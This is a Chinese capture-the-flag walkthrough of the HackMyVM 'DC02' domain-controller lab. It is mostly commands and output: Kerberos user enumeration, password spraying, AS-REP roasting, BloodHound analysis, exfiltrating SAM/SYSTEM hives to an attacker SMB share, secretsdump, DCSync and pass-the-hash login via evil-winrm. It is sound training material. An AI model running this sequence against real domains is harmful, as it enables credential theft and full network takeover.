靶机链接:https://hackmyvm.eu/machines/machine.php?vm=DC02
作者:[josemlwdf](https://hackmyvm.eu/profile/?user=josemlwdf)
难度:⭐️⭐️⭐️⭐️
知识点:ASREPRoasting、Bloodhound分析、SAM转储、DCSync 、kerbrute 爆破
nmap -sC -sV 192.168.56.126 -p- -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-20 11:36 CST
Stats: 0:02:17 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 77.78% done; ETC: 11:39 (0:00:14 remaining)
Stats: 0:02:22 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 77.78% done; ETC: 11:39 (0:00:15 remaining)
Nmap scan report for 192.168.56.126
Host is up (0.00022s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-20 02:57:08Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn\_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|\_http-server-header: Microsoft-HTTPAPI/2.0
|\_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn\_http Microsoft Windows RPC over HTTP 1.0
49687/tcp open msrpc Microsoft Windows RPC
49707/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:F5:A3:8F (Oracle VirtualBox virtual NIC)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|\_ Message signing enabled and required
|\_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:f5:a3:8f (Oracle VirtualBox virtual NIC)
|\_clock-skew: -40m50s
| smb2-time:
| date: 2024-11-20T02:58:01
|\_ start\_date: N/A
192.168.56.126:389 open
192.168.56.126:53 open
192.168.56.126:135 open
192.168.56.126:445 open
192.168.56.126:464 open
192.168.56.126:88 open
192.168.56.126:593 open
192.168.56.126:636 open
192.168.56.126:139 open
192.168.56.126:3268 open
192.168.56.126:3269 open
192.168.56.126:5985 open
192.168.56.126:9389 open
192.168.56.126:49667 open
192.168.56.126:49664 open
192.168.56.126:49674 open
192.168.56.126:49687 open
192.168.56.126:49707 open
[\*] alive ports len is: 18
start vulscan
[\*] NetBios 192.168.56.126 [+] DC:SOUPEDECODE\DC01
[\*] WebTitle http://192.168.56.126:5985 code:404 len:315 title:Not Found
[\*] NetInfo
[\*]192.168.56.126
[->]DC01
[->]192.168.56.126
域名 SOUPEDECODE
先配置hosts
vim /etc/hosts
192.168.56.126 SOUPEDECODE.LOCAL DC01.SOUPEDECODE.LOCAL
目标开放了 139 445端口
smbmap 检测一下是否存匿名登录与来宾登录
─# smbmap -u anonymous -H SOUPEDECODE.LOCAL
\_\_\_\_\_\_\_\_ \_\_\_ \_\_\_ \_\_\_\_\_\_\_ \_\_\_ \_\_\_ \_\_ \_\_\_\_\_\_\_
/" )|" \ /" || \_ "\ |" \ /" | /""\ | \_\_ "\
(: \\_\_\_/ \ \ // |(. |\_) :) \ \ // | / \ (. |\_\_) :)
\\_\_\_ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: \_\_\_\_/
\_\_/ \ |: \. |(| \_ \ |: \. | // \_\_' \ (| /
/" \ :) |. \ /: ||: |\_) :)|. \ /: | / / \ \ /|\_\_/ \
(\_\_\_\_\_\_\_/ |\_\_\_|\\_\_/|\_\_\_|(\_\_\_\_\_\_\_/ |\_\_\_|\\_\_/|\_\_\_|(\_\_\_/ \\_\_\_)(\_\_\_\_\_\_\_)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[\*] Detected 1 hosts serving SMB
[\*] Established 0 SMB session(s)
发现目标并没有开启SMB 空会话 与LDAP匿名登录
我们利用常见用户名作为字典 对Kerberos 身份验证来枚举域中可能存在的用户。
kerbrute userenum -d SOUPEDECODE.LOCAL -t 50 --dc DC01.SOUPEDECODE.LOCAL /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -o valid\_user.txt
\_\_ \_\_ \_\_
/ /\_\_\_\_\_ \_\_\_\_\_/ /\_ \_\_\_\_\_\_\_ \_\_/ /\_\_\_\_
/ //\_/ \_ \/ \_\_\_/ \_\_ \/ \_\_\_/ / / / \_\_/ \_ \
/ ,< / \_\_/ / / /\_/ / / / /\_/ / /\_/ \_\_/
/\_/|\_|\\_\_\_/\_/ /\_.\_\_\_/\_/ \\_\_,\_/\\_\_/\\_\_\_/
Version: v1.0.3 (9dad6e1) - 11/20/24 - Ronnie Flathers @ropnop
2024/11/20 12:10:37 > Using KDC(s):
2024/11/20 12:10:37 > DC01.SOUPEDECODE.LOCAL:88
2024/11/20 12:10:37 > [+] VALID USERNAME: admin@SOUPEDECODE.LOCAL
2024/11/20 12:10:37 > [+] VALID USERNAME: charlie@SOUPEDECODE.LOCAL
2024/11/20 12:10:38 > [+] VALID USERNAME: Charlie@SOUPEDECODE.LOCAL
2024/11/20 12:10:38 > [+] VALID USERNAME: administrator@SOUPEDECODE.LOCAL
2024/11/20 12:10:38 > [+] VALID USERNAME: Admin@SOUPEDECODE.LOCAL
2024/11/20 12:10:38 > [+] VALID USERNAME: Administrator@SOUPEDECODE.LOCAL
2024/11/20 12:10:38 > [+] VALID USERNAME: CHARLIE@SOUPEDECODE.LOCAL
2024/11/20 12:10:40 > [+] VALID USERNAME: ADMIN@SOUPEDECODE.LOCAL
2024/11/20 12:11:04 > [+] VALID USERNAME: wreed11@SOUPEDECODE.LOCAL
2024/11/20 12:12:02 > [+] VALID USERNAME: printserver@SOUPEDECODE.LOCAL
2024/11/20 12:12:57 > [+] VALID USERNAME: kleo2@SOUPEDECODE.LOCAL
2024/11/20 12:14:00 > [+] VALID USERNAME: dc01@SOUPEDECODE.LOCAL
2024/11/20 12:14:46 > [+] VALID USERNAME: aDmin@SOUPEDECODE.LOCAL
2024/11/20 12:15:08 > [+] VALID USERNAME: ChArLiE@SOUPEDECODE.LOCAL
2024/11/20 12:15:09 > [+] VALID USERNAME: CHarlie@SOUPEDECODE.LOCAL
2024/11/20 12:15:20 > Done! Tested 8295455 usernames (15 valid) in 282.207 seconds
-d 域名
-t 线程
--dc DC-o 输出到文件
提取一下用户名
//提取出用户名 并全部转为小写
cat valid\_user.txt | grep @ | cut -d " " -f8 | cut -d '@' -f1 | while read a; do echo "$a" | tr '[:upper:]' '[:lower:]' >> valid\_user\_lowercase.txt; done
//去重
cat valid\_user\_lowercase.txt | sort -u > valid\_usernames.txt
获取到了用户名单valid_usernames.txt
尝试利用用户名作为密码进行密码喷涂
--no-bruteforce 禁用暴力破解尝试
--continue-on-success 在成功验证某个用户名和密码后,程序继续运行,不会因为一个成功的验证就停止所有后续操作
crackmapexec smb SOUPEDECODE.LOCAL -u valid\_usernames.txt -p valid\_usernames.txt --no-bruteforce --continue-on-success
SMB SOUPEDECODE.LOCAL 445 DC01 [\*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB SOUPEDECODE.LOCAL 445 DC01 [-] SOUPEDECODE.LOCAL\admin:admin STATUS\_LOGON\_FAILURE
SMB SOUPEDECODE.LOCAL 445 DC01 [-] SOUPEDECODE.LOCAL\administrator:administrator STATUS\_LOGON\_FAILURE
SMB SOUPEDECODE.LOCAL 445 DC01 [+] SOUPEDECODE.LOCAL\charlie:charlie
SMB SOUPEDECODE.LOCAL 445 DC01 [-] SOUPEDECODE.LOCAL\dc01:dc01 STATUS\_LOGON\_FAILURE
SMB SOUPEDECODE.LOCAL 445 DC01 [-] SOUPEDECODE.LOCAL\kleo2:kleo2 STATUS\_LOGON\_FAILURE
SMB SOUPEDECODE.LOCAL 445 DC01 [-] SOUPEDECODE.LOCAL\printserver:printserver STATUS\_LOGON\_FAILURE
SMB SOUPEDECODE.LOCAL 445 DC01 [-] SOUPEDECODE.LOCAL\wreed11:wreed11 STATUS\_LOGON\_FAILURE
成功获取到了一个用户的密码
charlie:charlie
crackmapexec smb SOUPEDECODE.LOCAL -u 'charlie' -p 'charlie' --rid-brute > rid\_bruteforce.txt
cat rid\_bruteforce | grep 'SidTypeUser' | cut -d '\' -f2 | cut -d ' ' -f1 > domain\_users.txt
利用impacket-GetNPUsers 枚举禁用 Kerberos 预认证的用户以获取可以用于 AS-REP-Roasting 攻击的用户
禁用预认证的用户会向域控制器发送不包含加密的身份验证请求,因此攻击者可以捕获 AS-REP 响应并进行密码破解。
在这之前需要先将时间与域时间对齐
timedatectl set-ntp off
rdate -n 192.168.56.126
impacket-GetNPUsers SOUPEDECODE.LOCAL/ -dc-ip 192.168.56.126 -no-pass -usersfile domain\_users.txt | grep -v '[-]'
impacket-GetNPUsers SOUPEDECODE.LOCAL/ -dc-ip 192.168.56.126 -no-pass -usersfile domain\_users.txt | grep -v '[-]'
$krb5asrep$23$zximena448@SOUPEDECODE.LOCAL:9db51e4c05b23c0562b08157315f848a$f5b6d13bb1d2dcd2c0f56218183d0c552a69ccde25bea3b39dc4f82002b6a42d05b8753a81230a65f62f6b091be00057d2a2d106a9d9c4e3ac99a70b3071cd822bb3536bf51cb9f94b3b7217594b2fff7baf7a4b195651753b7c9b87148f424f9255eafea3565df4dde77b2abeaa649f4b2b6877044936c66419aec3db1b4a4e066df447176c63f01de9a9ef41b8b846f3ba870a4237e50560dbbeb84d4b0f82afca660940e70ac6693bf7c82ffcba601384a110498dd4b7e5f7b4ca761830c8ff04b18dea82abf62c62bd00ab9948561b4ff09daf864b94745170d4239da474d8d016f72bb84ec0efa4147dc7eb6e4c327b8e9b0308
我们获取到zximena448用户的 AS-REP 响应的加密密码哈希
它包含了目标用户的 Kerberos 密码
我们可以尝试利用hashcat对其进行破解以获取用户密码
hashcat -a 0 -m 18200 as-rep.txt rockyou.txt
成功爆破出密码internet
利用zximena448用户与密码 收集域内信息
在这之前,我们要先用 dnschef 设置一个虚假的 DNS 服务器并运行 Bloodhound,然后在运行 BloodHound 时让它使用假的 DNS 服务器 IP 进行域名解析。这样可以帮我们获取更多的信息
dnschef --fakeip 192.168.56.126
收集域内信息
bloodhound-python -u 'zximena448' -p 'internet' -ns 127.0.0.1 -d SOUPEDECODE.LOCAL -dc DC01.SOUPEDECODE.LOCAL --zip
启动neo4j 然后用Bloodhood GUI 对获取的压缩包进行分析
上传压缩包里面的json文件
找到我们当前的用户zximena448
我们可以发现zximena448用户是backup operator 组的成员。
此组可以备份存储凭据的 SAM 数据库。但由于该用户无法登录 DC01,我们用 Impacket 工具远程备份此数据库。我们需要先启动一个 SMB 服务器,然后将SAM数据库备份从服务器上传到我们的攻击机。
在当前目录启动一个 SMB 服务器 并挂到后台
impacket-smbserver -smb2support share . &
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[\*] Config file parsed
[\*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[\*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[\*] Config file parsed
[\*] Config file parsed
[\*] Config file parsed
设置 SMB 服务器后,我们利用impacket-reg 工具远程备份SAM注册表项。
impacket-reg -dc-ip 192.168.56.126 SOUPEDECODE.LOCAL/zximena448:internet@192.168.56.126 backup -o '\\192.168.56.6\share'
然后使用impacket-secretsdump 转储这个SAM备份的内容
impacket-secretsdump -sam SAM.save -system SYSTEM.save -security SECURITY.save LOCAL
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[\*] Target system bootKey: 0x0c7ad5e1334e081c4dfecd5d77cc2fc6
[\*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[\*] Dumping cached domain logon information (domain/username:hash)
[\*] Dumping LSA Secrets
[\*] $MACHINE.ACC
$MACHINE.ACC:plain\_password\_hex:30d0ca9ed25597562013a17fe07bcc24a8063aa89da83698090451d4f9c01497d07956aee9f517760560ca9817836b8aaa5a0706c8e3d358c8248d48c5c42388c80af03a4c70c4e75a55066bbc2ea68747c758fe4e41e80a4a6a2d9c9bd68c94ebc3e8fbbc89d06985163c8de5071d80a1c55c33a83b3c006c123eae6c0e5706412271e110ae7fd8e39482ae539bb6f9441b2340dbcd8fb1593198b778f09317469e8dd572d14e42031997298f68ec498f5bb6a2c295cd7c9dbadfcb88f74e7e0cb5b25b39ca43d970cb8c1b5b506c316438d7de4c8d0d6b1ac2f2985ef7eb35e0951cff704cae50ac45eff772a29f9e
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:f984aa0aa19fcb118d6b20506ce75c6d
[\*] DPAPI\_SYSTEM
dpapi\_machinekey:0x829d1c0e3b8fdffdc9c86535eac96158d8841cf4
dpapi\_userkey:0x4813ee82e68a3bf9fec7813e867b42628ccd9503
[\*] NL$KM
0000 44 C5 ED CE F5 0E BF 0C 15 63 8B 8D 2F A3 06 8F D........c../...
0010 62 4D CA D9 55 20 44 41 75 55 3E 85 82 06 21 14 bM..U DAuU>...!.
0020 8E FA A1 77 0A 9C 0D A4 9A 96 44 7C FC 89 63 91 ...w......D|..c.
0030 69 02 53 95 1F ED 0E 77 B5 24 17 BE 6E 80 A9 91 i.S....w.$..n...
NL$KM:44c5edcef50ebf0c15638b8d2fa3068f624dcad95520444175553e85820621148efaa1770a9c0da49a96447cfc896391690253951fed0e77b52417be6e80a991
[\*] Cleaning up...
发现这里面有Administrator用户的hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
尝试能不能使用这个hash进行登录
crackmapexec smb DC01.SOUPEDECODE.LOCAL -u 'Administrator' -H 209c6174da490caeb422f3fa5a7ae634
SMB SOUPEDECODE.LOCAL 445 DC01 [\*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB SOUPEDECODE.LOCAL 445 DC01 [-] SOUPEDECODE.LOCAL\Administrator:209c6174da490caeb422f3fa5a7ae634 STATUS\_LOGON\_FAILURE
登录失败了
没关系我们还有机器账户的hash ($MACHINE.ACC)
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:f984aa0aa19fcb118d6b20506ce75c6d
进行密码喷射之前,我们还需要获取目标的所有机器账户列表
我们可以利用Bloodhood收集的压缩包里面的computer.json文件获取
unzip 20241120140128\_bloodhound.zip
cat 20241120140128\_computers.json | jq . | grep samaccountname | cut -d '"' -f4 > machines.txt
使用 CrackMapExec 进行密码喷射
crackmapexec smb DC01.SOUPEDECODE.LOCAL -u machines.txt -H f984aa0aa19fcb118d6b20506ce75c6d | grep -v '[-]'
SMB SOUPEDECODE.LOCAL 445 DC01 [\*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB SOUPEDECODE.LOCAL 445 DC01 [+] SOUPEDECODE.LOCAL\DC01$:f984aa0aa19fcb118d6b20506ce75c6d
通过密码喷射 我们知道了这个hash是机器账户DC01$的
利用bloodhood GUI 对DC01$进行分析
可以看到DC01$ 是 Administrator 组的成员,我们可以使用此组成员身份权限对域控制器执行 DCSync 攻击。
在Enterprise Admin 组 也可以进行DCSync攻击能够执行能够执行 replication synchronization 权限 也可以
crackmapexec smb DC01.SOUPEDECODE.LOCAL -u 'DC01$' -H f984aa0aa19fcb118d6b20506ce75c6d --ntds >ntds.txt
--ntds 获取NTDS.dit 文件的内容这个文件是 Windows 域控的 Active Directory 数据库,包含了所有域账户的信息,包括密码哈希、Kerberos 密钥等敏感信息
管理员的hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8982babd4da89d33210779a6c5b078bd:::
我们已经转储了域中所有用户的凭证。利用管理员的哈希值通过 WinRm 在本地登录到域控获取flag
evil-winrm -i 192.168.56.126 -u Administrator -H 8982babd4da89d33210779a6c5b078bd
\*Evil-WinRM\* PS C:\Users\Administrator\Documents> type C:\Users\zximena448\Desktop\user.txt
2fe79eb0e02ecd4dd2833cfcbbdb504c
\*Evil-WinRM\* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
d41d8cd98f00b204e9800998ecf8427e